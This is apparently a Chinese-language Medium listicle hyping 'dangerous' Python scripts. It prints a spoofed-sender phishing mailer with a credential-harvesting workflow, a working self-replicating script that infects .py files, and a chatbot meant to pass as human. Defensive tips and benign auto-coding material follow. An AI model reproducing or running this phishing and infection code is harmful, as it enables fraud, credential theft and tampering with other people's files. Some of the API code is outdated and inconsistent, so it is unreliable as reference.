史上最强大的 Python 脚本

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💡现存最疯狂、最荒唐的 Python 脚本——以及它们为何令人恐惧。

他们编写代码，却打破现实

让我们明确一点：Python 不仅仅是初学者教程和无害数据脚本的语言。

这是现代的魔法书。

有些人写的咒语非常强大，甚至可能破坏了现实规则。

我们讨论的是能够超越人类、渗透机器并自我重写的Python 脚本。这些脚本不仅令人印象深刻，而且具有潜在的危险。

但别把目光移开。这不是为了吓唬你，而是为了让你做好准备。因为无论你是开发者、技术爱好者，还是想在这个代码驱动的世界里领先一步的人，你都需要知道什么是可能的。

如果你是 Python 开发者？请收藏此内容以供参考。

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🔐 1. 命中率高达 99% 的 AI 网络钓鱼生成器

信息：

根据 IBM 2023 年威胁情报报告，网络钓鱼占所有网络攻击的41%。而人工智能驱动的网络钓鱼的兴起，使得未经训练的目标的成功率超过 90%。

这个 Python 脚本将 AI 文本生成与电子邮件欺骗和 HTML 伪造结合在一起。

工作原理：

1. 使用类似 GPT 的 API（或本地模型）来生成电子邮件内容。
2. 模仿 Apple、PayPal 或 Microsoft 等公司的品牌和写作风格。
3. Flask使用或静态 HTML生成虚假的登录门户。
4. 使用具有 IP 轮换的 SMTP 库发送电子邮件。
5. 将凭据静默记录到数据库或 CSV 中。

这是一个示例（仅供教育使用）：

import smtplib
from email.mime.text import MIMEText

def send_phish_email(to_address, subject, body):
    msg = MIMEText(body, 'html')
    msg['Subject'] = subject
    msg['From'] = 'support@amazons-account-team.com'
    msg['To'] = to_address

    with smtplib.SMTP('smtp.sendgrid.net', 587) as server:
        server.starttls()
        server.login('apikey', 'YOUR_SENDGRID_API_KEY')
        server.sendmail(msg['From'], [to_address], msg.as_string())

🧠 为了制作电子邮件正文，脚本可能会使用：

from openai import OpenAI

def generate_email(prompt):
    return openai.ChatCompletion.create(
        model="gpt-4",
        messages=[{"role": "user", "content": prompt}]
    )['choices'][0]['message']['content']

警告：此类脚本如被恶意使用，将被视为高度违法。只有符合道德规范的黑客环境和意识培训机构才允许托管此类代码。

🦠 2. 感染其他脚本的自复制 Python 恶意软件

这简直就像是科幻电影里的情节。

信息：

MITRE 和卡巴斯基的研究人员已确认在实际 Linux 环境中发现 Python 恶意软件。最危险的形式是无文件、隐藏在内存或合法脚本文件中。

它的作用：

• 扫描.py目录中的文件。
• 检查是否已被感染。
• 如果不是，则将其有效负载附加到目标脚本中。
• 每个周期使用轻微的代码更改来避免签名检测。

一个非常基本的自我复制片段的示例：

virus_code = """# begin_virus
import os
print("You've been infected!")
# end_virus"""

def infect_files():
    for file in os.listdir():
        if file.endswith('.py') and 'infected' not in file:
            with open(file, 'r') as f:
                content = f.read()
            if '# begin_virus' not in content:
                with open(file, 'w') as f:
                    f.write(virus_code + '\n' + content)

infect_files()

真正的恶意软件会加密这些文件，混淆函数名称，并在系统重启后持续存在。它甚至可能用来pyinstaller创建独立.exe文件。

你应该做什么

• 使用不可变的部署容器。
• 使用 Tripwire 或 OSSEC 等工具监控文件完整性。
• 不要运行未经验证的.py文件 — 即使来自 GitHub。

📚 通过更新的实践和实际示例保持保护：

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🤖 3. 听起来像人类的人工智能聊天机器人——可以愚弄所有人

这些机器人不仅聪明——而且令人不安地可信。

信息：

2024年，斯坦福大学的研究人员在一个模拟城镇中对人工智能代理进行了公开测试。超过70%的人类参与者未能识别出哪些角色是机器人。

Python 机器人通过图灵测试的方式如下：

1. 对话记忆：
   
   它们存储用户交互sqlite3或redis模拟记忆。

2. 打字模拟：使用和之
   
   类的库来模仿打字行为。pyautoguitime.sleep

3. 行为模仿：
   
   他们引入犹豫、俚语、讽刺，甚至拼写错误。

示例机器人骨架

import time
import random
import openai

def simulate_typing(text):
    for char in text:
        print(char, end='', flush=True)
        time.sleep(random.uniform(0.03, 0.15))

def chat_response(prompt):
    response = openai.ChatCompletion.create(
        model="gpt-4",
        messages=[{"role": "user", "content": prompt}]
    )['choices'][0]['message']['content']
    return response

while True:
    user_input = input("You: ")
    reply = chat_response(user_input)
    simulate_typing("Bot: " + reply + "\n")

🎯 这些机器人已经在管理子版块、提供技术支持，并融入 Discord 服务器。别以为你是在和真人在线聊天。

👀 好奇这些技术在实际应用中如何？

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💻 4. 编写脚本的脚本（AutoCoder）

你给它一个任务，它就会为你编写整个 Python 脚本——端到端。

信息： GitHub Copilot 以及诸如、、和等

开源替代方案重新定义了生产力。一些开发者报告称，使用自动化代码工具，原型设计速度提高了 5 倍。TabbyCodeGeeXSmol Developer

它看起来是这样的：

# config.yaml
task: "Create a FastAPI server that accepts a POST request and returns the square of the number sent."
language: python
framework: fastapi

该脚本读取 YAML，形成 GPT 提示，生成代码，通过测试输入进行验证，然后部署。

🔧 使用的工具：

• PyYAML用于配置解析
• openai或ollama针对本地模型
• pytest或自定义断言进行验证

这是样板的未来。

🔗 在这里探索快速启动工具和生成器：

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⚖️ 5. 天才与误用之间的界限

所有这些脚本都有一个共同点：权力。

权力落入坏人之手？会毁坏一切。权力落入正确之手？则会保护一切。

真正的要点并非这些脚本很危险，而是它们是可以学习的。通过理解它们，你就能更好地构建更智能的工具、保护用户，并无所畏惧地进行创新。

🧠 最后的想法：使用 Python 来防御，而不仅仅是建设

事情是这样的。

代码不再仅仅是我们编写的东西，而是我们赖以生存的东西。你使用的每个应用程序、填写的每个表格、阅读的每封电子邮件——都由代码驱动。

Python 编写起来可能很简单，但它的影响却并不简单。

所以，深入学习吧。研究一切皆有可能。成为那种不仅知道该构建什么，还知道该注意什么的开发者。

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因为 Python 不仅仅是一门语言，更是一股力量。

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snappytuts.gumroad.com

史上最强大的 Python 脚本 | 作者：Snappy Tuts | 2025 年 4 月 | Medium

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